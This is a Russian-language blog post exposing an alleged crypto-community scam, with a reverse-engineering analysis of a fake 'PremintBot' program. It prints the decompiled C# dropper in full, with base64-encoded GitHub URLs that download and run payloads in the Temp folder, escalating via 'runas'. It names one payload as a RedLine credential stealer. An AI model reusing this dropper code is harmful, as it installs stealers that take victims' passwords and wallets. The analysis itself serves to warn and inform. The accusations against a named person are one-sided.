Масштабный скам от Халявного. Полный разбор с реверс-инжинирингом малвари.
Начнем с истоков
Кто такой вообще этот ваш Халявный? Уважаемый (ранее) админ паблика @HaliavimCryptu, гемхантер, со своим каналом и артодельной (с высокими наценками), сделавший огромное количество (по его рассказам) лавэ на влах, имел роль в Курилке.
Предпосылки
Еще несколько недель назад Халявный отключил все реакции кроме 🤮, 👎🏻 и 💩. Возможно он уже тогда задумывал закинуть малварь на все комьюнити, и когда понаставляли бы таких реакций, не вызывать подозрений. Но это уже более параноидальные теории, хотя исключать этого тоже мы не можем ;)
1. Буквально месяц назад наш герой собирал складчину у себя на канале для покупки курса по Майнингу от Фармера (лол), и конечно же собрав по 70$ с 10 человек, никому мануал не кинул, прикрывшись тем что продажник вычислил их склад (а не майнер ли он нам подсунет дальше :?)
2. В его артодельне, как оказалось, качество не соответсвует тому какие сники он прикладывает. Вот пример:
3. Более интересная история которая случилась 9 апреля 2022 года, про квест на 5к$.
Халявный и Бойлер заделали совместный квест, где собрав 12 слов сид фразы, ты мог получить NFT по их словам стоимостью 5.000$. Сделано это было ради хайпа и набора аудитории, ведь видимо по другому кроме как наебывать, двигаться Халявный не умел. О квесте конечно же все благополучно забыли, ниаких пруфов естественно никто не предоставил. А сам Халявный игнорировал сообщения с вопросами.
Начало расследования. Хронология событий.
Итак, 25 июня 2022 20:31 он выпускает пост с таким содержимым:
И за этими постами сразу же пост с самими файлами, но уже отключив комментарии:
Не поверите, но некоторые паблики, успели сразу же репостнуть и удалить впоследствии, ведь ничего подозрительного кроме слива "годноты" в паблик непонятно зачем.
Анализ малвари и разбор ситуации.
Любой, у кого IQ выше амебы, перед запуском левого файла пойдет просканировать вначале его на https://www.virustotal.com/, и увидев 32 детекта из 67 засомневается в запуске софта.
Однако вот что отвечает наш юный манимейкер:
А кое-кто даже умудрился запустить софт, и следом начать рассылать по всем чатам что у него украли 439$, однако особо этому верить нельзя т.к чел мог просто перевести деньги на свой второй кошелек.
Итак, приступим к самому интересному, анализу файлов!
Мы видим что софт действительно подгружает отдельный файл с гитхаба, но почему-то именно SandBoxAccounts.exe а не просканированный PremintBot.exe.
Перейдя на по ссылке увидим гитхаб. Нет сомнений что это дело рук именно Халявного, так как коммит был сделан ровно под выложенный пост, и дальше не редактировался.
Пытаемся декомпилировать файл PremintBot.exe, и огорчаемся ведь к сожалению он собран не Pyinstaller и не py2exe, спустя какое-то время понимаем что это C# и декомпилируем. Получаем файл с подобным содержимым:
Примечание: Компиляция - процесс сбора из исходников в exe.
Примечание: Декомпиляция - обратный процесс компиляции. Получение исходников из exe файла.
using System;using System.Diagnostics;using System.IO;using System.Net;using System.Security.Principal;using System.Text; namespace UBkvxG { internal static class Program { private static void Main() { ServicePointManager.set_SecurityProtocol((SecurityProtocolType)240); try { ServicePointManager.set_SecurityProtocol((SecurityProtocolType)4080); } catch {} try{ string @string = Encoding.Default.GetString(Convert.FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vU2FuZEJveEFjY291bnRzLmV4ZQ==")); string text = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", "")); try{ if (File.Exists(text)){ File.Delete(text); } } catch{} new WebClient().DownloadFile(@string, text); } catch{} try{ string text2 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC9TYW5kQm94QWNjb3VudHMuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", "")); if (File.Exists(text2)){ ProcessStartInfo val = new ProcessStartInfo(); val.set_FileName(text2); val.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? "runas" : ""); Process.Start(val);} } catch{} try{ string string2 = Encoding.Default.GetString(Convert.FromBase64String("aHR0cHM6Ly9naXRodWIuY29tL0NyM2FwM3IvUHJvZHVjdC1SZWQvcmF3L21haW4vdXBkYm90LmV4ZQ==")); string text3 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", "")); try { if (File.Exists(text3)) { File.Delete(text3); } } catch{} new WebClient().DownloadFile(string2, text3);} catch{} try{ string text4 = Encoding.Default.GetString(Convert.FromBase64String("e1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC91cGRib3QuZXhl")).Replace("{USERNAME}", Environment.UserName).Replace("{SYSTEMDRIVE}", Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System))!.Replace("\\", "")); if (File.Exists(text4)){ ProcessStartInfo val2 = new ProcessStartInfo(); val2.set_FileName(text4); val2.set_Verb(new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole((WindowsBuiltInRole)544) ? "runas" : ""); Process.Start(val2);} } catch{ } } } }
Декодируем переменные через base64 online decoder и получаем такие значения:
@string = https://github.com/Cr3ap3r/Product-Red/raw/main/SandBoxAccounts.exe text и text2 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/SandBoxAccounts.exe string2 = https://github.com/Cr3ap3r/Product-Red/raw/main/updbot.exe text3 и text4 = {SYSTEMDRIVE}/Users/{USERNAME}/AppData/Local/Temp/updbot.exe
Собственно это и есть тот самый момент когда подгружаются и кладутся файлы updbot.exe
и SandBoxAccounts.exe
SandBoxAccounts.exe
- собран PyInstaller
C декомпилировать нельзя, только дисассемблить, так что сначала посмотрим на SandBoxAccounts.exe
Примечание: Дизассемблить - это процесс реверса кода до ассемблера.
Однако чуть позже понимаем что он скомпилирован с python 3.10, следовательно декомпилируется uncompyle6-ом. Приходится делать это ручками. После некоторых попыток получаем код подобный этому:
import threading import requests from urllib.parse import quote from fake_useragent import UserAgent from json import loads from random import choice, randint from base64 import b64encode from loguru import logger from sys import stderr from urllib3 import disable_warnings from time import sleep from msvcrt import getch from os import system from colorama import init, Fore, Back, Style import time import random init() print('=============\nВведите данные от электронных почт в файл DataAccounts.txt\nВ формате: [email protected]:parol`\n============='') print('Если вы ввели все данные, нажмите 1, если нет, то 0:') i = int(input('')) if i == 1: x = random.randint(5, 12) sleep(x) my_file = open('SandBoxAccountsData.txt', 'w+') print('Аккаунты успешно зарегестрированны') my_file.write('Error. Неверные данные от почт') return None
То есть никакие в помине аккаунты не регистрируются ;)
К сожалению updbot.exe декомпилировать нельзя, так как код написан на C, однако можно с легкостью более-менее понять что он делает.
Смотрим специализированным софтом и вот что получаем:
Да-да, семейство Redline :) Такие стиллеры продаются за +- 100$ на форумах.
Примечание: Redline Stealer - это вредоносная программа, которая собирает информацию из браузеров, такую как сохраненные учетные данные, данные автозаполнения и данные кредитной карты. Помимо этого еще из криптокошельков, FTP, VPN и IM клиентов.
Итоги
Халявный блин! В следующий раз когда будешь скамить покупай ручной крипт чтобы не детектили антивирусы. И не бери малварь от мамкиных кодеров с лолза :)
Примечание: Ручной крипт - это когда делают так, чтобы Малварь не детектилась антивирусами.
Примечание: Lolz.guru - школофорум.
И да, через какое-то время он наверняка вернется и начнет рассказывать что-то типа что "его взломали", однако если бы это действительно было так, то он бы сразу же вышел на связь.
Мой Telegram канал где вас не кинут > https://t.me/crypto_satana
Связаться по улучшению статьи > https://t.me/scissor_eth